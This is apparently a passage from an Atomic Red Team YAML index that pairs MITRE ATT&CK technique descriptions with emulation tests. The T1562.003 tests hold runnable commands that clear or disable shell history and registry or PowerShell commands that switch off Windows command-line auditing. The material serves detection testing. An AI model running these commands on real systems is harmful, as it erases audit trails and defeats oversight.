        This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Jonny Johnson
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.

        Analysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819
      created: '2020-02-18T18:03:37.481Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1134/003
        external_id: T1134.003
      - source_name: Microsoft Command-line Logging
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
      - source_name: LogonUserW function
        description: Microsoft. (2023, March 10). LogonUserW function (winbase.h).
          Retrieved January 8, 2024.
        url: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1562.003:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Impair Defenses: Impair Command History Logging'
      description: "Adversaries may impair command history logging to hide commands
        they run on a compromised system. Various command interpreters keep track
        of the commands users type in their terminal so that users can retrace what
        they've done. \n\nOn Linux and macOS, command history is tracked in a file
        pointed to by the environment variable <code>HISTFILE</code>. When a user
        logs off a system, this information is flushed to a file in the user's home
        directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code>
        environment variable keeps track of what should be saved by the <code>history</code>
        command and eventually into the <code>~/.bash_history</code> file when a user
        logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but
        can be set by the user and will be respected.\n\nAdversaries may clear the
        history environment variable (<code>unset HISTFILE</code>) or set the command
        history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging
        of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore
        commands that start with a space by simply setting it to \"ignorespace\".
        <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting
        it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\"
        which covers both of the previous examples. This means that “ ls” will not
        be saved, but “ls” would be saved by history. Adversaries can abuse this to
        operate without leaving traces by simply prepending a space to all of their
        terminal commands. \n\nOn Windows systems, the <code>PSReadLine</code> module
        tracks commands used in all PowerShell sessions and writes them to a file
        (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code>
        by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption
        -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code>
        to stop receiving logs. Additionally, it is possible to turn off logging to
        this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle
        SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation:
        Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History
        Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
        on network devices to disable historical command logging (e.g. <code>no logging</code>)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Vikas Singh, Sophos
      - Emile Kenning, Sophos
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>, or <code>HISTFILESIZE</code> environment variables may be suspicious.

        Monitor for modification of PowerShell command history settings through processes being created with <code>-HistorySaveStyle SaveNothing</code> command-line arguments and use of the PowerShell commands <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code> and <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform.  Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      - Log analysis
      type: attack-pattern
      id: attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59
      created: '2020-02-21T20:56:06.498Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/003
        external_id: T1562.003
      - source_name: Sophos PowerShell command audit
        description: jak. (2020, June 27). Live Discover - PowerShell command audit.
          Retrieved August 21, 2020.
        url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
      - source_name: Microsoft PowerShell Command History
        description: Microsoft. (2020, May 13). About History. Retrieved September
          4, 2020.
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
      - source_name: Sophos PowerShell Command History Forensics
        description: Vikas, S. (2020, August 26). PowerShell Command History Forensics.
          Retrieved September 4, 2020.
        url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1562.003
    atomic_tests:
    - name: Disable history collection
      auto_generated_guid: 4eafdb45-0f79-4d66-aa86-a3e2c08791f5
      description: 'Disables history collection in shells

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        evil_command:
          description: Command to run after shell history collection is disabled
          type: string
          default: whoami
      executor:
        command: |
          export HISTCONTROL=ignoreboth
          #{evil_command}
        name: sh
    - name: Disable history collection (freebsd)
      auto_generated_guid: cada55b4-8251-4c60-819e-8ec1b33c9306
      description: 'Disables history collection in shells

        '
      supported_platforms:
      - linux
      input_arguments:
        evil_command:
          description: Command to run after shell history collection is disabled
          type: string
          default: whoami
      executor:
        command: |
          export HISTSIZE=0
          #{evil_command}
        name: sh
    - name: Mac HISTCONTROL
      auto_generated_guid: 468566d5-83e5-40c1-b338-511e1659628d
      description: "The HISTCONTROL variable is set to ignore (not write to the history
        file) command that are a duplicate of something already in the history \nand
        commands that start with a space. This atomic sets this variable in the current
        session and also writes it to the current user's ~/.bash_profile \nso that
        it will apply to all future settings as well.\nhttps://www.linuxjournal.com/content/using-bash-history-more-efficiently-histcontrol\n"
      supported_platforms:
      - macos
      - linux
      executor:
        steps: |
          1. export HISTCONTROL=ignoreboth
          2. echo export "HISTCONTROL=ignoreboth" >> ~/.bash_profile
          3. ls
          4. whoami > recon.txt
        name: manual
    - name: Clear bash history
      auto_generated_guid: 878794f7-c511-4199-a950-8c28b3ed8e5b
      description: "An attacker may clear the bash history cache and the history file
        as their last act before logging off to remove the record of their command
        line activities. \n\nIn this test we use the $HISTFILE variable throughout
        to 1. confirms the $HISTFILE variable is set 2. echo \"\" into it 3..5 confirm
        the file is empty 6 clear the history cache 7. confirm the history cache is
        empty. This is when the attacker would logoff.\n"
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: false
        command: "cp $HISTFILE $HISTFILE.OLD\nif ((${#HISTFILE[@]})); then echo $HISTFILE;
          fi\necho \"\" > $HISTFILE\nif [ $(wc -c <$HISTFILE) -gt 1 ]; then echo \"$HISTFILE
          is larger than 1k\"; fi\nls -la $HISTFILE \ncat $HISTFILE\nhistory -c \nif
          [ $(history |wc -l) -eq 1 ]; then echo \"History cache cleared\"; fi\n"
        cleanup_command: "mv -f $HISTFILE.OLD $HISTFILE \n"
    - name: Setting the HISTCONTROL environment variable
      auto_generated_guid: 10ab786a-028e-4465-96f6-9e83ca6c5f24
      description: "An attacker may exploit the space before a command (e.g. \" ls\")
        or the duplicate command suppression feature in Bash history to prevent their
        commands from being recorded in the history file or to obscure the order of
        commands used. \n\nIn this test we 1. sets $HISTCONTROL to ignoreboth 2. clears
        the history cache 3. executes ls -la with a space in-front of it 4. confirms
        that ls -la is not in the history cache 5. sets $HISTCONTROL to erasedups
        6. clears the history cache 7..9 executes ls -la $HISTFILE 3 times 10. confirms
        that their is only one command in history\n"
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: false
        command: "TEST=$(echo $HISTCONTROL)\nif [ \"$HISTCONTROL\" != \"ignoreboth\"
          ]; then export HISTCONTROL=\"ignoreboth\"; fi\nhistory -c \nls -la $HISTFILE
          # \" ls -la $HISTFILE\"\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls
          -la is not in history cache\"; fi\n# -> ls -la is not in history cache\nif
          [ \"$HISTCONTROL\" != \"erasedups\" ]; then export HISTCONTROL=\"erasedups\";
          fi\nhistory -c \nls -la $HISTFILE\nls -la $HISTFILE\nls -la $HISTFILE\nif
          [ $(history |wc -l) -eq 2 ]; then echo \"Their is only one entry for ls
          -la $HISTFILE\"; fi\n"
        cleanup_command: 'export HISTCONTROL=$(echo $TEST)

          '
    - name: Setting the HISTFILESIZE environment variable
      auto_generated_guid: 5cafd6c1-2f43-46eb-ac47-a5301ba0a618
      description: |
        An Adversary may set the bash history files size environment variable (HISTFILESIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

        Note: we don't wish to log out, so we are just confirming the value of HISTFILESIZE. In this test we 1. echo HISTFILESIZE 2. set it to zero 3. confirm that HISTFILESIZE is set to zero.
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: false
        command: |
          TEST=$(echo $HISTFILESIZE)
          echo $HISTFILESIZE
          export HISTFILESIZE=0
          if [ $(echo $HISTFILESIZE) -eq 0 ]; then echo "\$HISTFILESIZE is zero"; fi
          # -> $HISTFILESIZE is zero
        cleanup_command: 'export HISTCONTROL=$(echo $TEST)

          '
    - name: Setting the HISTSIZE environment variable
      auto_generated_guid: 386d3850-2ce7-4508-b56b-c0558922c814
      description: |
        An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

        Note: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero.
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: false
        command: |
          echo $HISTSIZE
          export HISTSIZE=0
          if [ $(echo $HISTSIZE) -eq 0 ]; then echo "\$HISTSIZE is zero"; fi
          # -> $HISTSIZE is zero
        cleanup_command: 'export HISTSIZE=100

          '
    - name: Setting the HISTFILE environment variable
      auto_generated_guid: b3dacb6c-a9e3-44ec-bf87-38db60c5cad1
      description: |
        An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

        Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: false
        command: |
          TEST=$(echo $HISTFILE)
          echo $HISTFILE
          export HISTFILE="/dev/null"
          if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; fi
          # -> $HISTFILE is /dev/null
        cleanup_command: 'export HISTFILE=$(echo $TEST)

          '
    - name: Setting the HISTFILE environment variable (freebsd)
      auto_generated_guid: f7308845-6da8-468e-99f2-4271f2f5bb67
      description: |
        An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.

        Note: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: false
        command: |
          echo $HISTFILE
          export HISTFILE="/dev/null"
          if [ $(echo $HISTFILE) == "/dev/null" ]; then echo "\$HISTFILE is /dev/null"; fi
          # -> $HISTFILE is /dev/null
        cleanup_command: 'export HISTFILE=~/.sh_history

          '
    - name: Setting the HISTIGNORE environment variable
      auto_generated_guid: f12acddb-7502-4ce6-a146-5b62c59592f1
      description: "An Adversary may take advantage of the HISTIGNORE environment
        variable either to ignore particular commands or all commands. \n\nIn this
        test we 1. set HISTIGNORE to ignore ls, rm and ssh commands 2. clear this
        history cache 3..4 execute ls commands 5. confirm that the ls commands are
        not in the history cache 6. unset HISTIGNORE variable 7.. same again, but
        ignoring ALL commands.\n"
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: false
        command: "if ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\";
          else export HISTIGNORE='ls*:rm*:ssh*'; echo \"\\$HISTIGNORE = $HISTIGNORE\";
          fi\n# -> $HISTIGNORE = ls*:rm*:ssh*\nhistory -c \nls -la $HISTFILE\nls -la
          ~/.bash_logout\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls commands
          are not in history\"; fi\n# -> ls commands are not in history\nunset HISTIGNORE\n\nif
          ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\"; else export
          HISTIGNORE='*'; echo \"\\$HISTIGNORE = $HISTIGNORE\"; fi\n# -> $HISTIGNORE
          = *\nhistory -c \nwhoami\ngroups\nif [ $(history |wc -l) -eq 0 ]; then echo
          \"History cache is empty\"; fi\n# -> History cache is empty\n"
        cleanup_command: 'unset HISTIGNORE

          '
    - name: Disable Windows Command Line Auditing using reg.exe
      auto_generated_guid: 1329d5ab-e10e-4e5e-93d1-4d907eb656e5
      description: "In Windows operating systems, command line auditing is controlled
        through the following registry value:\n\n  Registry Path: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\n
        \ \n  Registry Value: ProcessCreationIncludeCmdLine_Enabled\n\nWhen command
        line auditing is enabled, the system records detailed information about command
        execution, including the command executed, the user account responsible for
        executing the command, and the timestamp of the execution.\nThis information
        is crucial for security monitoring and forensic analysis, as it helps organizations
        detect and investigate unauthorized or malicious activities within their systems.\nBy
        default, command line auditing may not be enabled in Windows systems, and
        administrators must manually configure the appropriate registry settings to
        activate it.\nConversely, attackers may attempt to tamper with these registry
        keys to disable command line auditing, as part of their efforts to evade detection
        and cover their tracks while perpetrating malicious activities.\n\nBecause
        this attack executes reg.exe using a command prompt, this attack can be detected
        by monitoring both:\n  Process Creation events for reg.exe (Windows Event
        ID 4688, Sysmon Event ID 1)\n  Registry events (Windows Event ID 4657, Sysmon
        Event ID 13)\n\nRead more here:\nhttps://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-220703123711.html\n"
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: 'reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
          /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
          /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

          '
    - name: Disable Windows Command Line Auditing using Powershell Cmdlet
      auto_generated_guid: 95f5c72f-6dfe-45f3-a8c1-d8faa07176fa
      description: "In Windows operating systems, command line auditing is controlled
        through the following registry value:\n\n  Registry Path: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\n
        \ \n  Registry Value: ProcessCreationIncludeCmdLine_Enabled\n\nWhen command
        line auditing is enabled, the system records detailed information about command
        execution, including the command executed, the user account responsible for
        executing the command, and the timestamp of the execution.\nThis information
        is crucial for security monitoring and forensic analysis, as it helps organizations
        detect and investigate unauthorized or malicious activities within their systems.\nBy
        default, command line auditing may not be enabled in Windows systems, and
        administrators must manually configure the appropriate registry settings to
        activate it.\nConversely, attackers may attempt to tamper with these registry
        keys to disable command line auditing, as part of their efforts to evade detection
        and cover their tracks while perpetrating malicious activities.\n\nBecause
        this attack runs a Powershell cmdlet, this attack can be detected by monitoring
        both:\n  Powershell Logging (Windows Powershell Event ID 400, 800, 4103, 4104)\n
        \ Registry events (Windows Event ID 4657, Sysmon Event ID 13)\n\nRead more
        here:\nhttps://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-220703123711.html\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-itemproperty?view=powershell-7.4#example-2-add-a-registry-entry-to-a-key\n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: true
        command: 'New-ItemProperty -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"
          -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 0 -PropertyType DWORD
          -Force -ErrorAction Ignore

          '
        cleanup_command: 'New-ItemProperty -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"
          -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 1 -PropertyType DWORD
          -Force -ErrorAction Ignore

          '
  T1556.008:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Network Provider DLL
      description: "Adversaries may register malicious network provider dynamic link
        libraries (DLLs) to capture cleartext user credentials during the authentication
        process. Network provider DLLs allow Windows to interface with specific network
        protocols and can also support add-on credential management functions.(Citation:
        Network Provider API) During the logon process, Winlogon (the interactive
        logon module) sends credentials to the local `mpnotify.exe` process via RPC.
        The `mpnotify.exe` process then shares the credentials in cleartext with registered
        credential managers when notifying that a logon event is happening.(Citation:
        NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries
        can configure a malicious network provider DLL to receive credentials from
        `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via
        the Registry), a malicious DLL can receive and save credentials each time
        a user logs onto a Windows workstation or domain via the `NPLogonNotify()`
        function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious
        network provider DLLs on systems known to have increased logon activity and/or
        administrator logon activity, such as servers and domain controllers.(Citation:
        NPPSPY - Huntress)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - CrowdStrike Falcon OverWatch
      - Jai Minton
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: OS API Execution'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04
      created: '2023-03-30T22:45:00.431Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/008
        external_id: T1556.008
      - source_name: NPPSPY - Huntress
        description: " Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting
          User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023."
        url: https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy
      - source_name: NPPSPY Video
        description: Grzegorz Tworek. (2021, December 14). How winlogon.exe shares
          the cleartext password with custom DLLs. Retrieved March 30, 2023.
        url: https://www.youtube.com/watch?v=ggY3srD9dYs
      - source_name: NPPSPY
        description: Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March
          30, 2023.
        url: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
      - source_name: Network Provider API
        description: Microsoft. (2021, January 7). Network Provider API. Retrieved
          March 30, 2023.
        url: https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api
      - source_name: NPLogonNotify
        description: Microsoft. (2021, October 21). NPLogonNotify function (npapi.h).
          Retrieved March 30, 2023.
        url: https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1497.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Deloitte Threat Library Team
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938
      type: attack-pattern
      created: '2020-03-06T21:04:12.454Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1497.002
        url: https://attack.mitre.org/techniques/T1497/002
      - source_name: Deloitte Environment Awareness
        url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
          May 18, 2021.
      - source_name: Sans Virtual Jan 2016
        url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
        description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox
          Evasion Techniques. Retrieved April 17, 2019.
      - source_name: Unit 42 Sofacy Nov 2018
        url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
        description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global
          Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.
      - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
          LNK. Retrieved April 24, 2017.
        source_name: FireEye FIN7 April 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: User Activity Based Checks
      description: "Adversaries may employ various user activity checks to detect
        and avoid virtualization and analysis environments. This may include changing
        behaviors based on the results of checks for the presence of artifacts indicative
        of a virtual machine environment (VME) or sandbox. If the adversary detects
        a VME, they may alter their malware to disengage from the victim or conceal
        the core functions of the implant. They may also search for VME artifacts
        before dropping secondary or additional payloads. Adversaries may use the
        information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        during automated discovery to shape follow-on behaviors.(Citation: Deloitte
        Environment Awareness)\n\nAdversaries may search for user activity on the
        host based on variables such as the speed/frequency of mouse movements and
        clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks,
        or number of files in common directories such as home or the desktop. Other
        methods may rely on specific user interaction with the system before the malicious
        code is activated, such as waiting for a document to close before activating
        a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double
        click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: 'User activity-based checks will likely occur in the first
        steps of an operation but may also occur throughout as an adversary learns
        the environment. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as lateral
        movement, based on the information obtained. Detecting actions related to
        virtualization and sandbox identification may be difficult depending on the
        adversary''s implementation and monitoring required. Monitoring for suspicious
        processes being spawned that gather a variety of system information or perform
        other forms of Discovery, especially in a short period of time, may aid in
        detection. '
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Static File Analysis
      - Signature-based detection
      - Host forensic analysis
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1134.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Wayne Silva, F-Secure Countercept
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a
      created: '2020-02-18T18:22:41.448Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1134.004
        url: https://attack.mitre.org/techniques/T1134/004
      - source_name: XPNSec PPID Nov 2017
        url: https://blog.xpnsec.com/becoming-system/
        description: Chester, A. (2017, November 20). Alternative methods of becoming
          SYSTEM. Retrieved June 4, 2019.
      - source_name: CounterCept PPID Spoofing Dec 2018
        url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/
        description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved
          June 3, 2019.
      - source_name: Microsoft UAC Nov 2018
        url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
        description: Montemayor, D. et al.. (2018, November 15). How User Account
          Control works. Retrieved June 3, 2019.
      - source_name: Microsoft Process Creation Flags May 2018
        url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
        description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags.
          Retrieved June 4, 2019.
      - source_name: Secuirtyinbits Ataware3 May 2019
        url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3
        description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2)
          Ataware Ransomware Part 3. Retrieved June 6, 2019.
      - source_name: DidierStevens SelectMyParent Nov 2009
        url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
        description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or
          Playing With the Windows Process Tree. Retrieved June 3, 2019.'
      - source_name: CTD PPID Spoofing Macro Mar 2019
        url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
        description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro
          to spoof parent processes and command line arguments. Retrieved June 3,
          2019.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

        Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

        Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Access Token Manipulation: Parent PID Spoofing'
      x_mitre_detection: |-
        Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)

